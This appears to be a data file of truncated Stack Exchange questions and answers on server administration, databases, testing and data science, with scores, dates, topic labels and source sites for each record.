8,326
Should I do performance testing of my web application having two instances behind a load balancer?
My organization recently created a Performance testing environment. Our primary goal of performance testing is to catch performance degradation with future releases of our application. In Production, our web applications are deployed behind a load balancer, which is written and maintained by another team. To simulate P...
You need to decide on your goal: If you want to estimate your performance or capacity in production, you will want your test environment to mimic your production environment as much as possible. If your goal is to detect performance problems in your web application, you can probably get away with testing against a sing...
4
3
1,758
2014-04-18T18:53:30.420
data_quality
sqa.stackexchange.com
301,985
Getting started with Zabbix
We run a small startup and just began interesting ourselves in monitoring our machines properly. The choice fell on Zabbix, which fits well into our criteria of requirements. I've setup the Zabbix server along with Zabbix agent on a Ubuntu 11.04 VM which works perfectly, which will act as the Zabbix server to store all...
Once you install the server and it's php frontend, log into the frontend. On the dashboard, you get a little summary. Make sure that that says "zabbix server is running: yes" before doing any agent stuff. Then, when all that works as planned, start configuring the agents. First do the agent on the zabbix server itself:...
2
3
2,490
2011-08-17T10:29:28.070
pipeline_ops
serverfault.com
683,965
Nagios check_service.sh error redis-server unrecognized service
I have an issue withe Nagios Monitoring. I have following configuration: in commands.cfg [CODE] in Service definition [CODE] I get following error: Current Status: UNKNOWN (for 0d 0h 0m 17s) Status Information: Unknown status: redis-server: unrecognized service Is there a typo in the command or service configuration?: ...
I think the redis service can also run with name redis . So it could be. [CODE] To confirm run a manual check [CODE]
0
1
1,159
2015-04-20T06:42:49.317
database_errors
serverfault.com
78,204
How can I give a group of developers the ability to view the query plan, without the ability to run a trace or to view the server state?
I have a group of 5 developers that need to be able to view the plans of queries they have written for a database, and that database only. I refuse to make them a member of sysadmin. I do not want them to be able to run a trace, ever, on this server, nor do I want them to be able to run dmv's. These 5 developers are me...
DENY trumps GRANT, so yeah, you can’t let people view plans if you’ve explicitly denied them the ability to alter trace. But just because you haven’t denied a right doesn’t mean it has been granted. This example shows that your database users can run queries and collect the execution plans within a database where they ...
4
9
2,768
2014-10-02T03:30:11.443
database_errors
dba.stackexchange.com
1,017,418
(LVM) Moving data to a different physical volume within the same logical volume
I have a logical volume called [CODE] . It contains two ~1TB physical volumes: [CODE] and [CODE] . [CODE] informs me that [CODE] is failing. I can still read data off it and I have just backed up all contents off the LV. I have about 200GB of actual data — little enough that one of the PVs can hold all of it. I want to...
Your "storage" LV is 2TB in size. You cannot remove half of the physical space without damaging it. What you can do, is shrink the size of the filesystem, then resize the LV, and then you can safely remove the PV from the volume group. Unmount "storage": [CODE] Shrink the filesystem so it can fit on sdc alone. As you o...
1
1
3,651
2020-05-16T13:49:11.923
infrastructure
serverfault.com
1,023,106
curl and wget fail to verify wildcard Let's Encrypt certificate, but browsers work fine
We've obtained a wildcard certificate from Let's Encrypt for [CODE] and [CODE] , using certbot. This works fine on all browsers and with curl and wget when verifying https://civility.social , or [CODE] . The A records for those (sub)domains point to the same server, from which the certbot challenge was completed. Later...
You need to update [CODE] package. On my machine I have no SSL errors: [CODE] Edit 1: For meet.civility.social the webserver is not sending the intermediate certificate. You can see this with a network capture in WireShark. You are presenting only the certificate which covers [CODE] and [CODE] , but the intermediate ce...
1
1
2,853
2020-06-27T04:49:21.617
infrastructure
serverfault.com
212,755
IO issues with InnoDB, review of assessment required
TL;DR - Having some IO based issues with InnoDB. Before I sign the form to request more hardware can you have a look and see if you agree with my assessment Working for a client, I have inherited a large InnoDB MySQL database server. The data size of all tables (across about 180 schema) according to Information_Schema ...
On average about 500 qps This is the first challenge. A single (fast) HDD goes only 200-250 IOPS. in your [CODE] dump, we see [CODE] is doing 165 IOPS, not bad at all for a replicated disk. Still, the average queue size is very small, and the average wait and average service time are little more than 3msec. In other wo...
1
3
1,489
2010-12-15T04:48:29.277
database_errors
serverfault.com
37,430
Monitoring real-time statistics on PostgreSQL
I need to monitor the DB performance on a distributed system with multiple databases. Some of the database servers use pgbouncer to pool connections and in those servers I can connect to pgbouncer and execute a SHOW STATS; command to retrieve certain statistics, I'm interested in the following: [CODE] The columns means...
I believe the answer here is "not exactly". Those stats are coming from pgbouncer itself, so that don't map directly to the postgres backends. That said, you can track connection, data, and query statistics in postgres, but the information won't align exactly, and will probably be formatted differently (ie. you're more...
1
1
1,586
2013-03-23T18:28:19.057
database_errors
dba.stackexchange.com
225,820
ZenOSS webinterface connecting
I'm having a problem with ZenOss. I installed the centos stack installer on Centos 5.5 x64. De installation succeeded and no errors where displayed. But when I tried to surft to the ip address it doesn't respond. Then I added an exception to the iptables firewall. But still no response. Can anyone tell me what other pr...
[CODE] or [CODE] or edit /etc/sysconfig/iptables
0
0
2,071
2011-01-23T16:23:44.607
infrastructure
serverfault.com
766,985
Setting ntp time from gpsd
I'm trying to configure ntpd to source it's time from a gps receiver ( [CODE] ) but I'm getting some errors. I'm using ntpd 4.2.8.p6-3 and gpsd 3.16-2 on Arch Linux Arm. I've been following the tutorial on the arch wiki but it doesn't have any troubleshooting information. The gpsd log contains the entry [CODE] Repeated...
[CODE] is running as nobody, and so doesn't have privilege to read [CODE] , which is exactly what it's complaining about. If you add the [CODE] user to the group [CODE] , that should fix things, but it's not recommended. Or you can change the modes on [CODE] to be 666, which is slightly less dreadful. Best of all would...
1
2
3,420
2016-03-30T09:48:26.877
infrastructure
serverfault.com
199,082
Insert results of spBlitzIndex stored procedure into table
I would like to create a weekly to monthly job to execute sp_BlitzIndex during the night and insert the results into a table so that I can consume the results. Here's what I've tried: [CODE] And here's the error that it throws: Starting run. sp_BlitzIndex(TM) v5.4 - June 03, 2017 Create temp tables. Adding UQ index on ...
I think there is a open request to have this fixed. It does appear that they have made some changes in March 2017 as referenced here : Added Output parameters to sp_BlitzIndex to send Mode 2 results to permanent repository I also found a workaround that uses Powershell. Using PowerShell To Store sp_BlitzIndex Results I...
2
1
750
2018-02-28T20:56:42.390
api_errors
dba.stackexchange.com
351,568
SFTP and FileZilla - Connection closed by server with exitcode 128
This was working well until a couple of days ago. I can't recall having done anything to the server leading it to start closing the connection. Also I have no idea what exitcode 128 means, and can't find anything about it. Here's FileZilla's response to the connection attempt Status: Connecting to foo.bar.no... Respons...
It might be an invalid .bashrc file. In my case I found it was referencing another recently deleted script, and so failed.
1
5
21,365
2012-01-19T16:42:34.160
infrastructure
serverfault.com
433,802
Low Latency for multi-million record database in a web app
As a forewarning, this is for a school project with other school teammates, so my question is just for the sake of learning best practices. We are creating a recommendation system web app which currently consists of 3 services (react front-end, Flask server, postgres database), where the database we are using is just a...
I'm not an expert on databases, but there is a fairly general approach to performance issues that is often applicable. These are typically applied in order, i.e. throwing hardware at the problem might not help much without appropriate indices. Measure Part of this is to establish a baseline to have a good idea if a cha...
0
1
357
2021-11-25T17:23:40.167
database_errors
softwareengineering.stackexchange.com
583,797
Can't login to remote MariaDB server with phpMyAdmin, but works in shell
I recently configured two servers. The first to use Apache and phpMyAdmin. On the other server I have a maria-DB server correctly configured. phpMyAdmin it's reading the config file, but I can't connect to MariaDB server and PMA is throwing [CODE] Using [CODE] command to connect from the web server to the database serv...
Solved, the guilty was [CODE] . [CODE] the solution it's simple [CODE]
4
5
10,681
2014-03-22T00:54:39.547
database_errors
serverfault.com
95,179
Can't Delete Orphaned MySQL Temp Table
One of my servers had a hick-up yesterday and decided to leave temporary table while (while running alter table add indexes). [CODE] Running the alter table on the original table again: [CODE] ??? I followed all the instructions here: http://dev.mysql.com/doc/refman/5.6/en/innodb-troubleshooting-datadict.html also trie...
Since it is a temp table, you are OK to just delete the files. [CODE] Is this harmful to InnoDB ? No. There was a data dictionary entry still inside [CODE] . However, that entry is either missing or invalid (due to the [CODE] ). There is actually a one in 1,099,511,627,766 chance of it causing a problem. See my older p...
3
2
5,566
2015-03-13T12:34:27.453
database_errors
dba.stackexchange.com
584,829
HP Proliant DL180 G6 - Smart Array P410, bay 11 error
I've been trying to search over ther internet for a solution to fix this. I'm the new IT person for my organization and our previous IT have not kept any records on certain things. I do understand, that its a bad practice but I'm now making all these on a documentation for any future reference. Having said that; recent...
This could be a VMware issue or a locking problem on the virtual disk. Can you capture the full error message? Do other virtual machines power on without problems? Despite that, it appears you have a physical storage issue, too. Here's what the HP Smart Array P410 configuration output on a DL180 G6 looks like: [CODE] A...
3
6
7,720
2014-03-27T05:51:40.627
infrastructure
serverfault.com
1,068,658
Fastest way to copy files locally in linux
So for performance reasons I decided to move 2TB of small files, randomly written during some time - from a 14TB SATA HDD to a 4TB m.2 NVME SSD, both locally attached. I've been struggling for 2 days straight to get reasonable copy performance. [CODE] gets ~15MB/s, wich gives me an estimate of about two days of nonstop...
No its not due to fragmentation, small files on mechanical disk gets copied very slow. It is better to wait. No magic bullet this time.
1
1
3,396
2021-07-05T05:40:49.587
infrastructure
serverfault.com
344,684
Exchange 2007 Email Error 451 4.7.0 Timeout waiting for client input
Our SBS 2008 server with Exchange 2007 started rejecting some (most) emails starting about 3 or 4 days ago. The return failure message looks something like this: The error that the other server returned was: 451 451 4.7.0 Timeout waiting for client input (state 18) I've rebooted our Sonicwall TZ-210 router and that doe...
After reading up more online I did some ping tests using the -f switch and found that this particular DSL connection started dropping packets that were in excess of 1300 bytes. Microsoft refers to this as a "black hole router". Basically, something is wrong with that port. I implemented a work around for this problem b...
1
1
8,821
2011-12-28T14:16:38.733
infrastructure
serverfault.com
232,856
Granting access to authzTo attribute
I'm trying to grant certain accounts auth access to their [CODE] attribute in order to allow proxied authorization . I tried adding this ldif: [CODE] using the command [CODE] but got this error: [CODE] using verbose output and turning up the debug level haven't given me any more clues. Can anyone see what I'm doing wro...
Realized what I was doing dumb after working on some other permissions. It should be [CODE] , not just [CODE] by itself. And what I really wanted was [CODE]
1
0
877
2011-02-08T18:44:37.440
infrastructure
serverfault.com
269,993
Performance increase by only attach onblur handler inside of onfocus handler?
Given a web page with input fields, does it have a performance difference whether or not you assign the onblur handler inside of the onfocus handler like so: [CODE] My thought was that this would only add the blur event when the input event received focus and that the blur handler could be removed when the blur process...
The performance difference will be negligible. Technically the focus handler is doing extra work by attaching an event handler to the element, so performance should slow down, however I doubt this is a measurable difference. If the number of event handlers is slowing the page down, JavaScript Event Delegation is a bett...
2
1
1,175
2015-01-14T00:01:00.313
api_errors
softwareengineering.stackexchange.com
31,973
GANs and grayscale imagery colorization
I am currently studying colorization of grayscale satellite imagery as part of my Master's internship. After looking for various machine learning techniques, I quickly decided to go for deep learning, as the colorization process can be completely automated and gives good results. I trained a wide variety of models and ...
Colorfulness, specifically managing overly gray output, was touched on in the pix2pix paper , down in Section 4.2. It might be worthwhile to try out their formulation of a conditional GAN, as their results indicate that their objective function was useful in generating a more diverse set of colors.
4
2
256
2018-05-22T08:40:09.823
data_quality
datascience.stackexchange.com
41,113
DeprecationWarning: The 'categorical_features' keyword is deprecated in version 0.20
I was watching Machine Learning A- Z from SuperDataScience but when I was doing below code sample: [CODE] I got this warning message: /usr/local/lib/python3.5/dist-packages/sklearn/preprocessing/_encoders.py:363: FutureWarning: The handling of integer data will change in version 0.22. Currently, the categories are dete...
You can do this to get rid of the deprecation messages [CODE]
10
11
25,009
2018-11-12T16:48:25.597
data_quality
datascience.stackexchange.com
63,851
Apple subscription for customer
When developing an iOS application (freelance) for a customer, how do you handle the iOS Developer Subscription? On the one hand, I have no problem submitting the app using my own subscription. On the other hand, the subscription is per year which means the customer would be dependent on me actually renewing my subscri...
This depends on who owns the application. If the application, copyright and IP are under the ownership of the client, then it should be done under their licence, you can not be responsible for the application once your term with the client is complete. However, if you retain ownership of the application, then you shoul...
2
4
106
2011-03-31T07:05:02.047
api_errors
softwareengineering.stackexchange.com
259,011
Issue of structure of query does not match function result type
"structure of query does not match function result type" this isssue occurred when i try to execute the this function. [CODE] Please give the solution for it. thanks in adavance.
To return a TABLE add the table definition: [CODE] hist | tm :--- | :------------------ 0 | 2020-02-05 01:00:00 0.5 | 2020-02-04 02:00:00 1 | 2020-02-03 03:00:00 1.5 | 2020-02-02 04:00:00 2 | 2020-02-01 05:00:00 2.5 | 2020-01-31 06:00:00 3 | 2020-01-30 07:00:00 3.5 | 2020-01-29 08:00:00 4 | 2020-01-28 09:00:00 4.5 | 20...
0
1
311
2020-02-06T08:19:36.320
warehouse_errors
dba.stackexchange.com
362,449
Is avoiding raising an event when it is not needed considered premature optimisation?
I have a custom [CODE] that validates its input. Whenever the validity of the input changes, a [CODE] event is raised and the user is informed about the validation results. My question is what to do when the user changes the input, but the input still has the same errors. For example, let's say the input should not exc...
All that matters is why you raise the ValidityChanged event. As the name suggests, it's when the Control goes from being "valid" to being "invalid" or vice versa. What causes it to change is irrelevant; the fact that it has changed is all that matters to the event. If you're raising these events as the user types then ...
3
2
201
2017-12-15T12:47:25.467
data_quality
softwareengineering.stackexchange.com
127,255
Optimising a query to get rows where x is between pairs of values from another table
PostgreSQL 9.4.5 In my database there are 2 tables, vcfentries and exons . I want to query for rows in vcfentries where pos is between a list of pairs of positions, exonstart and exonend in the table exons. Result of the query: select * from exons where exons.genename = 'NM_001301824' Total query runtime: 11 ms. 8 rows...
The solution I implemented for this was to add a plpgsql function which ran each individual query and output the results as a table. I defined an output record type and used this function: [CODE] This avoids any full table scans and runs in slightly over a second. Total query runtime: 1493 ms. 2331 rows retrieved. For ...
1
0
83
2016-01-25T18:56:51.320
database_errors
dba.stackexchange.com
83,569
How to support design decisions?
There are bad design decisions . On the same pitch, being a senior engineer can sometimes be hard. Youngsters have awesome and radical ideas, which a senior engineer wonders whether will work on the field, and if it is worth spending all that effort. Experience suggests that these are short-term solutions are very expe...
Ask Questions Based on Experience My most powerful tool is to ask questions based on experience. When the junior programmer comes in with a design and you see a problem with how it will work in reality - ask the question "how will this work, given X element of reality?" Don't say - "this won't work because of X element...
4
7
297
2011-06-13T15:28:22.187
api_errors
softwareengineering.stackexchange.com
698,090
.htaccess Lost SESSION after header redirect using mod_rewrite [L, QSA] with started session
PHP version 5.4.41 Apache version 2.2.15 Linux version 2.6.32 CentOS 6.6 I have some code that won't redirect properly. There is a lot of code and configuration, so I'm going to try and keep it as simple as possible. My session is continuously lost after a header redirect. There are no errors and there are no warnings....
Figured it out. I think it was a combination of problems. The two responses (using a host localhost & having cookies.path mixed around) were probably a part of it along with bad SSL configuration dropping the session on the redirect. Thanks so much for the help!
3
0
3,803
2015-06-10T20:32:18.407
infrastructure
serverfault.com
276,689
Why BCP creates such big files?
I'm creating some reports via BCP to be sent via emails. [CODE] with a 9k rows, I have a 2mb file. I just copy the content of this file, and paste inside an empty excel file and I have 160KB. how can I use bcp but creating smaller files? I'm havin gproblems to send files over 1mb via dbmail. I set dbmail to send files ...
Excel uses compression internally when saving a file, that is the most likely reason why you're seeing a much smaller Excel file. I would recommend compressing the .bcp file prior to sending it via email. Use a command-line compressor such as 7-Zip. Also, I would recommend using the BCPs Native (-n) or Unicode Native f...
2
5
667
2020-10-07T12:03:18.720
warehouse_errors
dba.stackexchange.com
442,612
Preventing my postfix to send my local users spam
I have a postfix/dovecot mail server with 100 different users. When they send an email they need to be authenticated. I successfully use saslauth to achieve this. Few days ago I had a problem. One specific user, probably with a virus or a spam-bot installed in its computer, started to send out through my server thousan...
Rate limiting is possible with postfix Filtering outgoing e-mail for spam would solve you getting blacklisted. It will however, take some extra system resources.
1
2
487
2012-10-26T09:36:53.890
infrastructure
serverfault.com
793,058
Can not access mysql docker
I am using [CODE] to create [CODE] container. I get host IP [CODE] . But when I connect mysql. I get error: My [CODE] : [CODE] Get my host IP [CODE] [CODE] Access mysql: [CODE] . [CODE] How can I connect to mysql container?
You can pass an extra environment variable when starting the MySQL container [CODE] this will create a root user with permission to login from given IP address. In case where you want to allow login from any IP you can specify [CODE] . This will work only for a newly created containers. When spinning new container: [CO...
19
38
102,239
2016-08-01T04:44:23.870
database_errors
serverfault.com
568,857
Can't access ASA website to download ASDM launcher
Hoping someone can give me a pointer on here. I recently took a new position and am currently trying to learn the new system. I'm having trouble getting to ASDM and have Googled plenty to no avail. I can access the ASA via Putty/SSH and see in the config that http server enable is there. One of the networks allowed is ...
Please check your Java version. If you already have Java 7u51 you need ASDM 7.1.5-100. Downgrade to Java 7u45 for older ASDM versions. In Java 7u51 only WebStart is supported.
3
1
14,449
2014-01-21T19:29:39.497
api_errors
serverfault.com
137,285
Maximum number of TEXT/BLOB columns per table/performance of table with many of them?
I've created a system that generically imports CSVs into a database table with metadata columns for keeping track of when a CSV record has been changed, and it allows filtering on CSV columns instead of having to read the entire file each time. Right now, the structure of the table is essentially: [CODE] The columns ar...
If you lump all the [CODE] columns into a [CODE] field, you can have a limit of 4GB. The question of how much gets complicated. InnoDB has 4 [CODE] : REDUNDANT, COMPACT, DYNAMIC, COMPRESSED. I think you could have 400 columns of [CODE] or [CODE] (or ...) in [CODE] . That format uses a 20-byte pointer in the record to w...
0
1
896
2016-05-02T21:18:41.273
database_errors
dba.stackexchange.com
223,957
Little and Big endian confusion
Just to make sure if I understand this correctly. Is this right that little endian processors read the memory addresses from highest to the lowest address and where as a big endian processors suppose to read them from lowest to the highest address? The confusion came when I thought that is it true that little endian pr...
"Is this right that little endian processors read the memory addresses from highest to the lowest address and where as a big endian processors suppose to read them from lowest to the highest address?" No, that would just be an implementation detail of the memory chip, which would not make any difference for how you use...
1
8
3,075
2014-01-12T19:26:17.843
api_errors
softwareengineering.stackexchange.com
69,914
Sklearn Pipeline for mixed features: numerical and (skewed) categorical
I am working on a dataset from Kaggle (housing price prediction). I have done some pre-processing on the data (missing values, category aggregation, selecting ordinal vs one-hot). I am trying to implement a pipeline to streamline the code. The pipeline consists of a ColumnTransformer with two components: one component ...
You can use [CODE] in the OneHotEncoder; levels present in the test set but not the train set will be encoded as all-zeros rather than raising an error. But... that example you provide, I rather doubt it's worth it to keep all the levels. The coefficient learned for such a small level's dummy variable will be overly sp...
2
1
248
2020-03-18T23:31:57.643
data_quality
datascience.stackexchange.com
825
What is a good way to store a large number of columns?
I have a problem deciding how to store this data in my database. Any suggestions on the best way to do it? I don't know a hell of a lot about databases, I might add. I have data coming in formatted like so, but rather than 4, the number of columns is approx 240, so each date has 240 unique values associated with it: [C...
You could make a case either way, but if the data is going to be used for analysis and you often want to see multiple columns from that data at the same time, go with the wide table. Make sure you know your databases column quantity and row size limits. Make sure you get the datatypes right. If many of the columns are ...
18
10
4,186
2011-01-24T03:29:45.473
api_errors
dba.stackexchange.com
404,326
Where can I put project dependencies
I've just finished my studies in Computer Science and now I'm working. The problem is I'm the only computer scientist in my company and I'm probably taking a lot of bad habits. I would like to correct it if one day I have to work in a team. I hope this question belongs in this community: In a C++ Git project, where do ...
As per the comments on the question, NuGet would be a solution for you... if only you could use it without Visual Studio... Well, you can! More precisely, you can use Nuget.exe from command line. No Visual Studio required. You can download Nuget.exe from nuget.org ( download link ). Note : Nuget.exe will work on Linux ...
5
1
590
2020-01-27T09:52:21.757
api_errors
softwareengineering.stackexchange.com
192,332
CREATE PLUGGABLE DATABASE REFRESH MODE MANUAL from remote fails with ORA-00922
I'm doing some test with remote PDB cloning. Both local and remote instance are [CODE] The DB LINK is working, and the remote PDB exists [CODE] But doing this on [CODE] [CODE] Gave me this error: [CODE]
[CODE] 12.1 syntax: 12.2 syntax: [CODE] is available starting with version 12.2, it is not available in your version.
0
1
1,110
2017-12-04T11:26:31.023
warehouse_errors
dba.stackexchange.com
24,794
WebDriver Error Cannot use 'in' operator to search for 'String' in false
I have been using selenium webdriver with protractor for more than a year now and recently after updating to the newest versions i got an error that i have never encountered before. As stated in the title my error is WebDriver Error Cannot use 'in' operator to search for 'String' in false I am doing everything in the c...
This is definitely a version incompatibility/mismatch . The error has nothing to do with your tests. I've seen a similar symptom (actually, same error message) when versions of [CODE] and [CODE] itself were not compatible - in that case we needed to upgrade [CODE] : Protractor 5.1.1 doesn't work with Chrome 58 Aside fr...
4
2
649
2017-01-09T12:47:03.850
data_quality
sqa.stackexchange.com
488,270
Ubuntu / GRUB reboot loop
I had to shutdown a server due to a power outage... The machine's been working just fine, an Ubuntu 12.04 box. Now when I boot back up, I get the GRUB 1.99 boot menu with several options, all of which result in a blinking cursor for ~15 seconds, then reboots. There's no sign that anything's wrong, and I'm not familiar ...
Solved my own problem! Turned out somehow during a Grub update (or a previous partitioning of the disk) changed the default root partition in Grub to use [CODE] , which isn't actually correct. We found out on the Grub console that the root partition is merely [CODE] , so changing that fixed the issue.
0
0
3,114
2013-03-15T19:13:42.663
database_errors
serverfault.com
129,861
Active Directory LDAP and user issues (using apache2 for svn access)
I currently have a setup where I work that lets users use their active directory domain logins and passwords to authenticate and authorize access to Subversion. Currently I need to allow application accounts the same access. So our IT group creates application accounts in the active directory for us to use. But they wa...
When you're doing LDAP logins, the workstation being logged into is the server providing the LDAP service . To do what you want, you'll have to add [CODE] and [CODE] to the 'allow logins from' tab on those users.
2
1
1,766
2010-04-06T18:36:55.367
api_errors
serverfault.com